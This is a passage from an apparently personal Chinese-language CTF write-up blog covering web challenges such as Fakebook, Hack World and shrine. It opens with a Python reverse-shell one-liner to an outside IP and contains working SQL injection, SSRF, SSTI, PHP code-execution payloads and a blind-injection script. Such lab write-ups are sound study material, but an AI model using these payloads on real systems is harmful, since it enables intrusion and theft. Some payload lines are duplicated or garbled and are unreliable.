/shell?c=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.222.160",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'    

上面的ip是buu的内网机的内网IP。如果我有一个外网服务器的话,有外网IP也可以弹shell.ok,shell弹回来了,先ls一波:

然后直接查看进程
cat /proc//fd/
就可以看到flag.txt里面的内容了:

23.[网鼎杯 2018]Fakebook

进入页面后同样有注册和登陆页面,先填写信息,然后登陆进去,再测试功能点。
对了要养成习惯看下有没有robors.txt.果然有惊喜:发现index.php.bak
打开为如下代码:

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

很早前就知道curl系列函数会造成ssrf.现在仔细了解一哈每个函数的过程,每次代码审计都把每一行代码搞清楚。
先是定义了一个userinfo类,进入类中是定义了几个公共变量就是之前添的几个,然后定义了一个析构函数,在析构函数里面调用了本类中的几个变量。
然后就是进入get函数了,参数为url,然后是初始化curl,返回资源。
设置curl的选项为通过curl访问url获取资源,然后是通过CUPLOPT_RETURNTRANSFER设置为将结果返回而不是直接显示,如果为0或者false应当为显示。
最后用output来接收返回的数据。并且通过httpcode判断返回资源的状态码,如果是404对其进行处理,最后关闭curl资源,并且返回output,返回其实跟打印也差不多了。
下面是一个获得blog内容函数和判断blog是否内容合法的函数,也就是过滤防止xss等的函数。
所以该题的关键利用点在于get函数。由于它会获取固定url的资源并将结果返回到自己页面上,这就造成了SSRF。这里我们可以让他自己把自己的flag返回过来,利用file:///协议。
然后接下来找利用点,点进用户界面发现url中no=1,习惯性加上引号,然后出现报错,说明存在sql注入。
经过多番测试,发现过滤了0x系列,union select.
这里直接使用union/**/即可绕过,然后开始sql注入,
先用order by 测出字段数为4

no=-1 union/**/select 1,database(),3,4 --返回为fakebook

no=-1 union/**/select 1,group_concat(table_name),3,4 from 
information_schema.tables where table_schema=database()    --返回users

no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()--爆出字段为no,username,passwd,data 

最后直接查data内容
no=-1 union/**/select 1,data,3,4 from users
得到:
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}    

这里就看出问题了查出来的内容会把我们的信息进行序列化,因而构造file协议读取flag.php,然后每次sql都会发现路径:
Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31
猜测flag在/var/www/html/flag.php
最后在之前查出的代码后门加上:

$a=new UserInfo('admin',12,'file:///var/www/html/flag.php');
$b=serialize($a);
echo $b;

得到序列化:

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php

接下来构造sql语句如下:

no=-1 union/**/select 1,2,no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

24.[SWPU2019]Web1

这道题比赛的时候没有做出来很可惜,现在来复现一波,考点也是二次注入。
先注册一个admin,123进入后,很可惜没有其他的操作自己用户名的功能了,那么继续测试。发现有个广告招商,再次尝试输入:
Image text
我们回到首页去查看,发现:
Image text
于是进行二次注入,同理先使用BP测试过滤规则
经过测试后发现or,union select都被过滤了。但是测试/**/可以绕过。然而or被过滤的死死的了。导致information_schema系列无法使用,这里参考大佬的文章绕过:
https://mariadb.com/kb/en/mysqlinnodb_table_stats/
https://www.anquanke.com/post/id/193512
mysql.innodb_table_stats用于爆表名
select group_concat(table_name) from mysql.innodb_table_stats
在其他博客上看到了使用sys的:sys.schema_auto_increment_columns绕过information_schema系列
但Buu没得这个系列

payload:

admin'/**/union/**/all/**/select/**/1,group_concat((select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/c/**/union/**/select/**/*/**/from/**/users)b)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'&

25.pythonnginx

首先是源码审计:

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->

这里先学习一下encode(‘idna’)
里面的idna是什么意思。
解释什么的百度都有
什么是IDN?
国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

什么是idna?
A library to support the Internationalised Domain Names in Applications (IDNA) protocol as specified in RFC 5891. This version of the protocol is often referred to as “IDNA2008” and can produce different results from the earlier standard from 2003.
主要看例子:

>>> import idna
>>> print(idna.encode(u'ドメイン.テスト'))
结果:xn--eckwd4c7c.xn--zckzah
>>> print idna.decode('xn--eckwd4c7c.xn--zckzah')
结果:ドメイン.テスト

这有什么用呢,再看下面这个例子:

℆这个字符,如果使用python3进行idna编码的话
print('℆'.encode('idna'))
结果
b'c/u'
如果再使用utf-8进行解码的话
print(b'c/u'.decode('utf-8'))
结果
c/u
通过这种方法可以绕过网站的一些过滤字符
摘from:[https://www.cnblogs.com/cimuhuashuimu/p/11490431.html](https://www.cnblogs.com/cimuhuashuimu/p/11490431.html)

正好这道题可以用这个绕过前两个suctf.cc,并且让第三个解码后变成suctf.cc满足条件,从而可以构造file协议读取nginx关键文件。
这个其实是出自:今年BlackHat的一个议题,相关PPT如下:
BlackHat_PPT
Nginx的配置文件目录为:/usr/local/nginx/conf/nginx.conf

由此可以想到构造:file://suctf.c℆sr/local/nginx/conf/nginx.conf(另一种绕过方式是利用ℂ来代替c及进行绕过),这样可以读到flag的位置:
这里发现了这个只在get传参有效,post无效,为什么呢,因为get传参会拼接在Url中,而阅读代码,它会解析url部分,并调用read等方法,而post中的参数就无效了。

server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
    # location /flag {
    #     alias /usr/fffffflag;
    # }
}

最后构造payload:file://suctf.c℆sr/fffffflag
拿到flag,哎又是靠着别人的WP,之后重温习2-3遍,直到完全消化为止,谨记p师傅的忠言,不能不求甚解,做题不能将就。

26.[BJDCTF2020]Easy MD5

md5($str,true)注入

"select * from admin where passwd = ' " .md5( $password, true). " ' "; 

这样一个SQL语句其实可以注入
先来说一下md5()这个函数
md5(string, raw) raw 可选,默认为false

true:返回16字符2进制格式

false:返回32字符16进制格式

简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如’or ’之类的注入语句,就可以进行注入了.
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
转成字符串后: ‘or’6

27.[BJDCTF2020]Mark loves cat

先扫描一哈,发现存在.git源码泄露,打开GitHack,获取到index.php里面的重要源码如下:

?php

include 'flag.php';

$yds = "dog";

$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

从上往下看下来,很明显$flag里面存的值就是flag的值,但是要绕过这三个if条件,很明显存在变量覆盖漏洞,因而想办法覆盖掉初始变量,绕过判断。
第一个条件不好绕过,因而换一种方式传参,可以肯定flag应当用post传。而第二个条件是如果没有设置get的flag就弹出exit值,这与第一个矛盾。由于是变量覆盖,因而应当灵活一点,第一个判断绕过,让弹出的$yds=$flag就可以得到flag.
那么就post传参flag=flag,这样

foreach($_POST as $x => $y){
    $$x = $y;
}
由于上面的,$flag=flag

然后是get传入yds=flag,因为第二个条件不好绕,因而让他弹yds,然后覆盖yds为flag的值

foreach($_GET as $x => $y){
    $$x = $$y;
}
由这一句传入的yds=flag就变成了,$yds=$flag.

yds值最后被打印,查看源代码即可拿到flag.这里我们还可知道exit的值不会出现在页面上,而源代码中存在。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

这里主要把这个preg_replace函数搞明白:

preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    )

第一个参数是过滤规则,这个等会儿说是什么规则,然后下一个是过滤后的替换内容,最后是过滤的整个字符串
先以它的兄弟函数str_replace为例

str_replace('abc',I,'abc love you')

最后得到的就是I love you了。
接着看preg_replace()

preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str)

e 修饰符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
比如:

<?php
preg_replace("/test/e",$_GET["h"],"jutst test");
?>
访问的url : ?h=phpinfo()就会弹出phpinfo

而i(PCRE_CASELESS)如果设置了这个修饰符,则表达式不区分大小写.
那么这里该怎么利用呢,先看了一篇大佬的文章,方便理解:
preg_replace的深入研究
文中指出这样的代码最后会执行:

eval('strtolower("\\1");') 

但这是个什么东西
其中的\1就是\1然后\1在正则中有自己的含义:
反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以\1指的是第一个子匹配项,因而根据大佬的payload:
/?.={${phpinfo()}}
即 GET 方式传入的参数名为 /?.
,值为 {${phpinfo()}} 。
所以有:
原先的语句: preg_replace(‘/(‘ . $regex . ‘)/ei’, ‘strtolower(“\1”)’, $value);
现在的语句: preg_replace(‘/(.)/ei’, ‘strtolower(“\1”)’, {${phpinfo()}});
然而事实却没有那么简单,php对于get传入的参数名,会把非法的转换成下划线,
因而.*变成了_

在上篇文章中提到,只有点号在作为首字母时会被替换成下划线。因而可以换一个payload:

\S*=${phpinfo()} 

所以这里可以看到e修饰符的使用还会使得而须替换过后的成分被解析成php代码执行。因而preg_replace的第二、三参数都可以作为rce的利用点,这道题就是第三个参数的利用。
这里还有一个很重要的点(粘贴上面文章内容):
为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)
有了这样的基础知识。回到本题即可构造出:

next.php?\S*=${getflag()}&cmd=show_source('/flag');

这里补充说明一点\S是匹配\s相反的内容,而\s匹配空白,因而\S代表非空白就匹配。正好就是用这里需要匹配到后面的${getflag()},而刚好*代表匹配前面的子表达式零次或多次,这样就达到了完全匹配。
这里让next.php的内置getflag()函数调用,因而执行后面的cmd函数。这里cmd是在eval中要构成完整的php代码还需要加上最后的;
最后拿到flag.

28.blog

考的主要是CBC还涉及到二次注入,过程太复杂以后有空来写WP
8593206281fd62de
859320628333831341fd62de
1fd62de85932062833383134
859320628
33383134
1fd62de

29.[CISCN2019 华北赛区 Day2 Web1]Hack World

进入页面后直接就是一个表单输入框,然后提示是flag就在flag表中,然后让我们输入id。
输入一个1:显示:Hello, glzjin wants a girlfriend.
加上引号,bool(false)
极有可能是bool盲注
使用1^1与1^0,结果分别是:
Error Occured When Fetch Result.
Hello, glzjin wants a girlfriend.
说明就是bool盲注,然后是赵师傅想要女朋友就是正确查询回显。
接下来用BP,fuzz一下:
发现bool盲注的函数基本上都没ban,写个脚本直接跑出flag:

import requests
import string
url = "http://9b62ab97-37b4-4721-b023-19815db98f81.node3.buuoj.cn/index.php"

s = '_,1234567890}{-'+ string.ascii_lowercase
flag = ""

for i in range(1,50):
    f=0
    print(i)
    for j in s:
        payload = "1^(ascii(substr((select(flag)from(flag)),{w},1))={z})^1"
        data={"id":payload.format(w=i,z=ord(j))}
        html = requests.post(url,data=data)
        if "glzjin" in str(html.content):
            f=1
            flag +=j
            print(flag)
            break
    if f==0:
        break

这里说一下上面的简单小脚本,也涉及到算法复杂度的问题,这样能更快跑出来flag.
设置了一个哨兵f,最开始设置为0,我们看到当成功回显了一个flag字母后,立即将其break掉,这样第二个循环不会再接着做而浪费时间。
同样,当所有的都破解完后,f==0,整个循环退出,外部循环也节约了时间,无需跑完所有range.

30.[GYCTF2020]FlaskApp

@app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = "结果 : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp)

解法移步本博客SSTI:py-ssti

31.[WesternCTF2018]shrine

打开页面后发现是python代码但是是没有换行的,直接ctrl+u换行。

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

看到render_template_string就知道可能存在模板注入了,根据其路由信息。访问

/shrine/{{2*2}}

结果发现页面返回:

{4}

然后看这部分代码:

def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

会发现传入的参数会经过过滤,也就是self不能用了,config也不能用了,并且采用()的方式调用函数就不行了,那么之前的payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

由于payload中包含self所以用不了了。

这里就进入死胡同了,看了师傅的WP发现:

current_app全局变量,url_for和*get_flashed_messages*

以上几个函数可以使用。我们先试试传入config会怎么样:

none

也就是把页面的显示信息替换了None了

重点研究哈师傅的payload吧:

最后的payload:

GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

其中current_app是一个全局变量表示当前运行程序文件的程序实例。我没想通的是为什么config依旧可以用。

这里就发现了黑名单的漏洞:return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

这里其实没有完全过滤,他只是让{{}}中存在的config的话页面值返回none,但config[]就绕过了。

也就是他只过滤了单独的config而没有考虑其他带有config的形式,这属于不严谨的过滤。

当然url_for中也包含着current_app,因而把get_flashed_messages替换为url_for也可。

这里需要理解的是flask的上下文工作机制。

current_app,g属于应用上下文对象,

current_app也是一个全局变量表示当前运行程序文件的程序实例。

下面通过flask的工作流程说明其用处。

当调用app = Flask(_name_)的时候,创建了程序应用对象app;

而每次请求就会产生request对象。

app对象的生命周期大于request。

一个application存活期间可能发生多次http请求,所以也会有多个request.

请求上下文:保存了客户端和服务器交互的数据。

应用上下文: 在flask程序运行过程中,保存的一些配置信息,例如程序文件名、数据库的连接、用户信息等。

上下文(context)就是语境的意思。

在程序中可以理解为在代码执行某个时刻,根据之前代码所做的操作以及下文即将要执行的逻辑,

可以决定在当前时刻下可以使用到的变量,或者可以做的事情。

Flask中上下文对象:相当于一个容器,保存了Flask程序运行过程的一些信息。

#Misc部分#
签到题就不说了,直接粘贴

1.金三胖
  这个题有意思啊,三胖的标准鼓掌表情包,送到Stegslove.jar里面把他分成一张张图片来看,即可发现flag.

2.二维码
  下载后看到是一张二维码,没有扫,先试试formost,然后发现藏了一个zip文件,密码是4位数字,用AARP暴力破解密码,拿到flag,这里注意哈,题目提示了要改为flag格式,我傻愣愣的以为这是个假flag,又去分析二维码,后来看提示才发现,直接把拿到的CTF改为flag即正确了。